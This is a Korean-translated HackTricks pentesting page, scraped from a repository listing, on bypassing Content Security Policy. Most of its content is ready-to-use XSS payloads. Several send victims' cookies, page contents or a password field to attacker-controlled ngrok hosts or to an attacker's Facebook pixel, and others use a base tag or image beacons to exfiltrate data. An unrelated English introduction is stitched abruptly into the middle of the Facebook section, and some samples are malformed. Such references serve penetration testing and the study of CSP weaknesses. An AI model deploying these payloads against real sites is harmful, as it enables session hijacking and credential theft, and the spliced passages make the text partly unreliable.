hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-02-10 21:30:13 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to Korean 2024-02-10 21:30:13 +00:00
README.md Translated to Korean 2024-02-10 21:30:13 +00:00

콘텐츠 보안 정책 (CSP) 우회

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

경험있는 해커와 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 자세히 알아보는 콘텐츠와 상호작용하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 따라가세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 최신 정보를 받아보세요.

Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

CSP란 무엇인가요?

콘텐츠 보안 정책 (CSP)은 주로 크로스 사이트 스크립팅 (XSS)과 같은 공격으로부터 보호하기 위한 브라우저 기술로 알려져 있습니다. 이는 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 상세히 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임 및 JavaScript와 같은 다양한 요소가 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드와 실행을 허용할 수 있으며, 인라인 리소스 및 eval, setTimeout, setInterval과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.

CSP의 구현은 응답 헤더를 통해 또는 HTML 페이지에 메타 요소를 포함하여 수행됩니다. 이 정책에 따라 브라우저는 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.

  • 응답 헤더를 통한 구현:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • 메타 태그를 통해 구현됩니다:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

헤더

CSP는 다음과 같은 헤더를 사용하여 강제하거나 모니터링할 수 있습니다:

  • Content-Security-Policy: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
  • Content-Security-Policy-Report-Only: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하기에 이상적입니다.

리소스 정의

CSP는 활성 및 수동 콘텐츠의 로딩을 위한 원본을 제한하여 인라인 JavaScript 실행 및 eval() 사용과 같은 측면을 제어합니다. 예를 들어 정책은 다음과 같습니다:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

지시문

  • script-src: URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트로 인해 트리거된 스크립트를 포함한 JavaScript의 특정 소스를 허용합니다.
  • default-src: 특정 fetch 지시문이 없을 때 리소스를 가져오기 위한 기본 정책을 설정합니다.
  • child-src: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
  • connect-src: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
  • frame-src: 프레임에 대한 URL을 제한합니다.
  • frame-ancestors: 현재 페이지를 포함할 수 있는 소스를 지정하며, <frame>, <iframe>, <object>, <embed>, <applet>과 같은 요소에 적용됩니다.
  • img-src: 이미지에 대한 허용된 소스를 정의합니다.
  • font-src: @font-face를 사용하여 로드되는 글꼴의 유효한 소스를 지정합니다.
  • manifest-src: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
  • media-src: 미디어 객체를 로드하기 위한 허용된 소스를 정의합니다.
  • object-src: <object>, <embed>, <applet> 요소에 대한 허용된 소스를 정의합니다.
  • base-uri: <base> 요소를 사용하여 로드할 수 있는 허용된 URL을 지정합니다.
  • form-action: 폼 제출에 대한 유효한 엔드포인트를 나열합니다.
  • plugin-types: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
  • upgrade-insecure-requests: 브라우저에게 HTTP URL을 HTTPS로 변경하도록 지시합니다.
  • sandbox: <iframe>의 sandbox 속성과 유사한 제한을 적용합니다.
  • report-to: 정책이 위반될 경우 보고가 전송될 그룹을 지정합니다.
  • worker-src: Worker, SharedWorker 또는 ServiceWorker 스크립트의 유효한 소스를 지정합니다.
  • prefetch-src: 가져오거나 사전에 가져올 리소스의 유효한 소스를 지정합니다.
  • navigate-to: 문서가 어떤 방법으로든 이동할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).

소스

  • *: data:, blob:, filesystem: 스키마를 제외한 모든 URL을 허용합니다.
  • 'self': 동일한 도메인에서 로드를 허용합니다.
  • 'data': 데이터 스키마를 통해 리소스를 로드할 수 있게 합니다 (예: Base64로 인코딩된 이미지).
  • 'none': 어떤 소스에서도 로드하지 않습니다.
  • 'unsafe-eval': eval() 및 유사한 메서드의 사용을 허용합니다. 보안상 권장되지 않습니다.
  • 'unsafe-hashes': 특정 인라인 이벤트 핸들러를 활성화합니다.
  • 'unsafe-inline': 인라인 <script> 또는 <style>과 같은 리소스의 사용을 허용합니다. 보안상 권장되지 않습니다.
  • 'nonce': 암호화된 nonce(일회용 번호)를 사용하여 특정 인라인 스크립트에 대한 화이트리스트를 작성합니다.
  • 'sha256-<hash>': 특정 sha256 해시를 가진 스크립트를 화이트리스트에 등록합니다.
  • 'strict-dynamic': nonce 또는 해시에 의해 화이트리스트에 등록된 경우 어떤 소스에서든 스크립트를 로드할 수 있게 합니다.
  • 'host': example.com과 같이 특정 호스트를 지정합니다.
  • https:: HTTPS를 사용하는 URL로 제한합니다.
  • blob:: JavaScript를 통해 생성된 Blob URL에서 리소스를 로드할 수 있게 합니다.
  • filesystem:: 파일 시스템에서 리소스를 로드할 수 있게 합니다.
  • 'report-sample': 위반 보고서에 위반 코드의 샘플을 포함합니다 (디버깅에 유용).
  • 'strict-origin': 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 출처에서만 리소스를 로드할 수 있음).
  • 'strict-origin-when-cross-origin': 동일 출처 요청을 할 때 전체 URL을 보내지만, 교차 출처 요청일 때는 출처만 보냅니다.
  • 'unsafe-allow-redirects': 즉시 다른 리소스로 리디렉션될 수 있는 리소스를 로드할 수 있게 합니다. 보안을 약화시키므로 권장되지 않습니다.

안전하지 않은 CSP 규칙

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

작동하는 페이로드: "/><script>alert(1);</script>

Iframes를 통한 self + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

작동하는 페이로드:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

만약 허용된 JS 코드가 당신의 JS 코드와 함께 DOM에 새로운 스크립트 태그를 생성하도록 할 수 있다면, 허용된 스크립트가 생성하기 때문에 새로운 스크립트 태그는 실행이 허용될 것입니다.

와일드카드 (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

작동하는 페이로드:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src 및 default-src의 부재

{% hint style="danger" %} 이제는 작동하지 않는 것 같습니다 {% endhint %}

Content-Security-Policy: script-src 'self' ;

작동하는 페이로드:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

파일 업로드 + 'self'

이 기법은 Content Security Policy (CSP)를 우회하는 방법 중 하나입니다. CSP는 웹 애플리케이션에서 허용되는 리소스의 출처를 제한하여 XSS (Cross-Site Scripting) 및 기타 웹 취약점을 방지하는 보안 정책입니다. 그러나 CSP 정책에서 'self' 키워드를 사용하여 동일한 출처에서만 리소스를로드 할 수 있도록 제한할 수 있습니다.

이 기법을 우회하기 위해 파일 업로드 기능을 사용합니다. 파일 업로드 기능을 통해 악성 스크립트를 업로드하고, 해당 스크립트를 CSP 정책에서 허용된 도메인으로 로드하도록 합니다. 이렇게 하면 악성 스크립트가 CSP 정책을 우회하여 실행될 수 있습니다.

다음은 파일 업로드 + 'self' 기법을 사용하여 CSP를 우회하는 예시입니다.

<form action="/upload" method="post" enctype="multipart/form-data">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

<script>
  // 악성 스크립트를 업로드한 파일의 URL
  var maliciousScriptUrl = 'https://example.com/malicious.js';

  // CSP 정책에서 'self' 키워드를 사용하여 동일한 출처에서만 스크립트를 로드하도록 설정
  var cspPolicy = "script-src 'self'";

  // CSP 정책을 우회하기 위해 악성 스크립트를 CSP 정책에서 허용된 도메인으로 로드
  var scriptElement = document.createElement('script');
  scriptElement.src = maliciousScriptUrl;
  document.head.appendChild(scriptElement);
</script>

위의 예시에서는 파일 업로드를 통해 악성 스크립트를 업로드하고, 해당 스크립트를 CSP 정책에서 허용된 도메인으로 로드하도록 설정합니다. 이렇게 하면 CSP 정책을 우회하여 악성 스크립트가 실행될 수 있습니다.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

만약 JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:

동작하는 페이로드:

"/>'><script src="/uploads/picture.png.js"></script>

그러나 서버가 업로드된 파일을 유효성 검사하고 특정 유형의 파일만 업로드할 수 있도록 허용할 가능성이 매우 높습니다.

또한, 서버가 허용하는 확장자를 사용하여 파일 내에 JS 코드를 업로드할 수 있다고 하더라도 (예: script.png), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 확장자를 기반으로 선택하고 Chrome과 같은 브라우저는 이미지여야 할 것에 Javascript 코드를 실행하지 않도록 거부할 것입니다. "행운이 좋다면", 실수가 있을 수 있습니다. 예를 들어, CTF에서 알게 된 것처럼 Apache는 .wave 확장자를 알지 못하기 때문에 audio/*와 같은 MIME 유형으로 제공하지 않습니다.

여기서 XSS와 파일 업로드를 찾고, 잘못 해석된 확장자를 찾아 업로드할 수 있다면 해당 확장자를 가진 파일과 스크립트의 내용을 업로드해 볼 수 있습니다. 또는, 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 폴리글롯을 생성하여 업로드할 수도 있습니다 (일부 폴리글롯 예제는 여기에서 확인할 수 있습니다).

제3자 엔드포인트 + ('unsafe-eval')

{% hint style="warning" %} 다음 페이로드 중 일부에는 unsafe-eval이 필요하지 않을 수도 있습니다. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Angular의 취약한 버전을 로드하고 임의의 JS를 실행하십시오:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + window 객체를 반환하는 함수를 포함한 라이브러리를 사용한 페이로드 (이 게시물을 확인하세요):

{% hint style="info" %} 이 게시물에서는 cdn.cloudflare.com (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 로드하고, 각 라이브러리에서 추가된 모든 함수를 실행하고, 어떤 라이브러리의 어떤 함수가 window 객체를 반환하는지 확인할 수 있다고 설명합니다. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Google reCAPTCHA JS 코드 남용

이 CTF writeup에 따르면, CSP 내에서 https://www.google.com/recaptcha/을 남용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있습니다:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

제3자 엔드포인트 + JSONP

JSONP (JSON with Padding)은 웹 애플리케이션에서 동일 출처 정책(Same Origin Policy)을 우회하기 위한 기술입니다. 이 기술은 제3자 도메인에서 데이터를 가져오는 데 사용됩니다. 일반적으로 웹 애플리케이션은 동일한 도메인에서만 데이터를 가져올 수 있지만, JSONP를 사용하면 다른 도메인에서도 데이터를 가져올 수 있습니다.

JSONP는 <script> 태그를 사용하여 데이터를 가져옵니다. 웹 애플리케이션은 제3자 도메인에 요청을 보내고, 응답으로 JavaScript 코드를 받습니다. 이 JavaScript 코드는 웹 애플리케이션에서 실행되며, 데이터를 처리할 수 있습니다.

이 기술을 이용하여 Content Security Policy (CSP)를 우회할 수 있습니다. CSP는 웹 애플리케이션에서 허용되는 리소스의 출처를 제한하는 보안 정책입니다. 그러나 JSONP를 사용하면 CSP를 우회하여 제한된 출처에서 데이터를 가져올 수 있습니다.

JSONP를 사용하여 CSP를 우회하는 방법은 다음과 같습니다.

  1. 웹 애플리케이션에서 JSONP를 지원하는 엔드포인트를 찾습니다.
  2. JSONP 요청을 보내고, 응답으로 JavaScript 코드를 받습니다.
  3. 받은 JavaScript 코드를 웹 애플리케이션에서 실행하여 데이터를 처리합니다.

이를 통해 CSP를 우회하여 제한된 출처에서 데이터를 가져올 수 있습니다. 그러나 이 기술은 보안 취약점을 악용할 수 있으므로, 웹 애플리케이션에서는 JSONP를 사용할 때 보안을 강화해야 합니다.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

다음과 같은 시나리오에서는 script-srcself와 특정 도메인으로 설정되어 있는 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 보안되지 않은 콜백 메서드를 허용하므로 공격자는 XSS를 수행할 수 있습니다. 작동하는 페이로드는 다음과 같습니다:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 는 다양한 웹 사이트의 CSP 우회를 위해 준비된 JSONP 엔드포인트를 포함하고 있습니다.

동일한 취약점은 신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있을 경우 발생합니다. 왜냐하면 초기 엔드포인트가 신뢰되면 리디렉션도 신뢰됩니다.

제3자 남용

다음 게시물에서 설명한대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출이나 JavaScript 코드 실행을 남용할 수 있습니다. 일부 제3자는 다음과 같습니다:

Entity Allowed Domain Capabilities
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

대상의 CSP에서 허용된 도메인 중 하나를 찾으면, 해당 서비스에 등록하여 데이터를 유출하거나 코드를 실행할 수 있는 가능성이 있습니다.

예를 들어, 다음과 같은 CSP를 찾았다면:

Content-Security-Policy: default-src 'self www.facebook.com;

Content Security Policy (CSP) Bypass

Introduction

Content Security Policy (CSP) is a security mechanism implemented by web applications to mitigate the risk of cross-site scripting (XSS) attacks. CSP allows web developers to define a set of policies that restrict the types of content that can be loaded and executed on a web page.

However, CSP can sometimes be misconfigured or bypassed, allowing attackers to execute malicious code on a web page. This guide will explore various techniques to bypass CSP and execute arbitrary code.

Table of Contents

Content-Security-Policy: connect-src www.facebook.com;

당신은 Google Analytics/Google Tag Manager를 사용하여 데이터를 유출할 수 있어야 합니다. 이 경우, 다음과 같은 일반적인 단계를 따릅니다:

  1. 여기에서 Facebook 개발자 계정을 만듭니다.
  2. 새로운 "Facebook 로그인" 앱을 만들고 "웹사이트"를 선택합니다.
  3. "설정 -> 기본"으로 이동하여 "앱 ID"를 가져옵니다.
  4. 데이터를 유출하려는 대상 사이트에서 "customEvent"와 데이터 페이로드를 통해 Facebook SDK 가젯 "fbq"를 직접 사용하여 데이터를 유출할 수 있습니다.
  5. 앱 "이벤트 관리자"로 이동하여 생성한 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
  6. "테스트 이벤트" 탭을 선택하여 "당신의" 웹 사이트에서 전송되는 이벤트를 확인합니다.

그런 다음 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록 하고 다음과 같이 사용자 정의 이벤트를 발생시킵니다:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

이전 표에서 지정된 다른 7개의 타사 도메인에 대해서는 다양한 방법으로 악용할 수 있습니다. 다른 타사 악용에 대한 자세한 설명은 이전 블로그 포스트를 참조하십시오.

RPO(상대 경로 덮어쓰기)를 통한 우회

경로 제한을 우회하기 위해 언급한 리다이렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기(RPO)라는 기술이 있습니다.

예를 들어, CSP가 https://example.com/scripts/react/ 경로를 허용한다면 다음과 같이 우회할 수 있습니다:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

브라우저는 최종적으로 https://example.com/scripts/angular/angular.js를 로드합니다.

이는 브라우저에게 https://example.com/scripts/react/ 아래에 위치한 ..%2fangular%2fangular.js라는 파일을 로드하고 있다고 인식하기 때문에 동작합니다. 이는 CSP와 호환됩니다.

따라서 브라우저는 이를 디코딩하여 https://example.com/scripts/react/../angular/angular.js를 요청하게 되는데, 이는 https://example.com/scripts/angular/angular.js와 동일합니다.

브라우저와 서버 간 URL 해석의 불일치를 악용하여 경로 규칙을 우회할 수 있습니다.

이 문제를 피하기 위해서는 서버 측에서 %2f/로 처리하지 않도록 하여 브라우저와 서버 간 일관된 해석을 유지해야 합니다.

온라인 예제: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 실행

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri가 누락된 경우

base-uri 지시문이 누락된 경우 dangling markup injection을 수행할 수 있습니다.

또한, 취약한 페이지가 상대 경로를 사용하여 스크립트를 로드하는 경우 (<script src="/js/app.js">) Nonce를 사용하여 base tag를 악용하여 스크립트를 자체 서버에서 로드하여 XSS를 성공시킬 수 있습니다.
취약한 페이지가 httpS로 로드된 경우, base에 httpS URL을 사용하십시오.

<base href="https://www.attacker.com/">

AngularJS 이벤트

특정 정책인 Content Security Policy (CSP)는 JavaScript 이벤트를 제한할 수 있습니다. 그러나 AngularJS는 대안으로 사용할 수 있는 사용자 정의 이벤트를 소개합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 $event 객체를 제공합니다. 이 $event 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서 $event/event 객체는 이벤트의 실행 체인에 관련된 객체 배열을 가지고 있는 path 속성을 가지고 있으며, 이 배열의 끝에는 항상 window 객체가 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.

이 배열을 orderBy 필터로 이동시켜 배열을 반복하고, 터미널 요소인 window 객체를 이용하여 alert()와 같은 전역 함수를 트리거할 수 있습니다. 아래에 제시된 코드 스니펫은 이 과정을 명확히 설명합니다:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

이 코드 조각은 ng-focus 지시문을 사용하여 이벤트를 트리거하고, $event.path|orderBy를 사용하여 path 배열을 조작하며, window 객체를 활용하여 alert() 함수를 실행하여 document.cookie를 노출시킵니다.

**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**에서 다른 Angular 우회 방법을 찾을 수 있습니다.

AngularJS와 화이트리스트 도메인

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Angular JS 애플리케이션에서 스크립트 로딩을 위해 도메인을 화이트리스트로 지정하는 CSP 정책은 콜백 함수와 취약한 클래스의 호출을 통해 우회될 수 있습니다. 이 기법에 대한 자세한 정보는 이 깃허브 저장소에서 제공하는 상세 가이드에서 확인할 수 있습니다.

작동하는 페이로드:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

다른 JSONP 임의 실행 엔드포인트는 여기에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).

리다이렉션을 통한 우회

CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉션이 허용되지 않은 다른 출처로 이어진다면 여전히 실패합니다.

그러나 CSP 사양 4.2.2.3. 경로와 리다이렉트에 설명된대로, 리다이렉션이 다른 경로로 이어진다면 원래의 제한을 우회할 수 있습니다.

다음은 예시입니다:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

CSP가 https://www.google.com/a/b/c/d로 설정되어 있다면, 경로가 고려되므로 /test/a/test 스크립트 모두 CSP에 의해 차단됩니다.

그러나 최종적으로 http://localhost:5555/301서버 측에서 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//로 리디렉션됩니다. 리디렉션인 경우 경로는 고려되지 않으며, 스크립트가 로드될 수 있으므로 경로 제한을 우회할 수 있습니다.

이 리디렉션을 통해 경로가 완전히 지정되더라도 우회됩니다.

따라서, 최선의 해결책은 웹사이트에 개방된 리디렉트 취약점이 없고, CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.

매달린 마크업으로 CSP 우회하기

여기에서 확인하세요.

'unsafe-inline'; img-src *;을 통한 XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline'는 코드 내에서 어떤 스크립트든 실행할 수 있다는 것을 의미한다 (XSS는 코드를 실행할 수 있다). img-src *는 웹페이지에서 어떤 리소스에서든지 이미지를 사용할 수 있다는 것을 의미한다.

이 CSP를 우회하는 방법은 이미지를 통해 데이터를 유출하는 것이다 (이 경우 XSS는 CSRF를 악용하여 봇이 접근할 수 있는 페이지에 SQLi가 포함되어 있으며, 이미지를 통해 플래그를 추출한다).

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

이 구성을 악용하여 이미지 내에 삽입된 자바스크립트 코드를 로드할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, 특별한 이미지를 만들어 Twitter에 업로드하고 "unsafe-inline"을 악용하여 일반적인 XSS처럼 JS 코드를 실행할 수 있습니다. 이 코드는 이미지를 로드하고, 그 안에서 JS를 추출하고, 실행합니다: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

서비스 워커와 함께

서비스 워커의 importScripts 함수는 CSP에 제한을 받지 않습니다:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

정책 주입

연구: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

당신이 보낸 매개변수정책의 선언 내에 붙여넣어진다면, 정책무용지물로 만들 수 있는 방법으로 정책변경할 수 있습니다. 다음 중 하나의 우회 방법을 사용하여 스크립트 'unsafe-inline'을 허용할 수 있습니다:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

이 지시문은 기존 script-src 지시문을 덮어쓸 것입니다.
여기에서 예제를 찾을 수 있습니다: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: ;_ Edge정책 전체를 삭제할 것입니다.
예제: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *;를 통한 XSS (iframe) - 시간 공격

지시문 'unsafe-inline'이 없음에 유의하세요.
이번에는 <iframe을 사용하여 피해자가 당신이 제어하는 페이지로드하도록 XSS를 사용할 수 있습니다. 이번에는 피해자가 정보를 추출하려는 페이지를 액세스하도록 만들 것입니다 (CSRF). 페이지의 내용에 액세스할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 제어할 수 있다면 필요한 정보를 추출할 수 있습니다.

이번에는 **깃발(flag)**이 추출될 것입니다. SQLi를 통해 문자를 정확히 추측할 때마다 응답이 sleep 함수로 인해 더 오래 걸립니다. 그럼으로써 깃발을 추출할 수 있을 것입니다.

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

북마크릿을 통한 공격

이 공격은 공격자가 사용자를 설득하여 브라우저의 북마크릿 위로 링크를 끌어다 놓도록 하는 사회 공학 기술을 사용합니다. 이 북마크릿은 악성 자바스크립트 코드를 포함하고 있으며, 드래그 앤 드롭이나 클릭 시 현재 웹 창의 컨텍스트에서 실행되어 CSP를 우회하고 쿠키나 토큰과 같은 민감한 정보를 탈취할 수 있습니다.

자세한 정보는 원본 보고서를 확인하세요.

CSP 우회를 위한 CSP 제한

이 CTF 해결 방법에서는 특정 JS 파일을 로드할 수 없도록 더 제한적인 CSP를 허용된 iframe 내에 주입하여 CSP를 우회합니다. 그런 다음, 프로토타입 오염 또는 DOM 조작을 통해 다른 스크립트를 남용하여 임의의 스크립트를 로드할 수 있습니다.

